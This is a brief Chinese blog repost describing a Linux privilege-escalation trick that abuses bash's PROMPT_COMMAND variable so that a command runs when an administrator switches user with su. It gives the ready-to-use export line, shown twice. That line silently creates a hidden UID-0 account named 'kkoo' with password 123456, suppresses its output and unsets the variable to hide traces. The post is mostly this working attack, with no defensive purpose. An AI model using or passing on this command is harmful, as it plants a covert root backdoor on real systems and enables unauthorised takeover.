提权原理:给BASH的环境变量PROMPT_COMMAND赋予要执行的命令,而这个变量保存了在主提示符$PS1显示之前需要执行的命令,在管理员使用SU时提示符显示之前命令提前执行了。
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 kkoo &>/dev/null && echo kkoo:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 kkoo &>/dev/null && echo kkoo:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"
![](../p_w_upload/201001/201001051262660684087.png)
转载于:https://blog.51cto.com/ynhu33/258442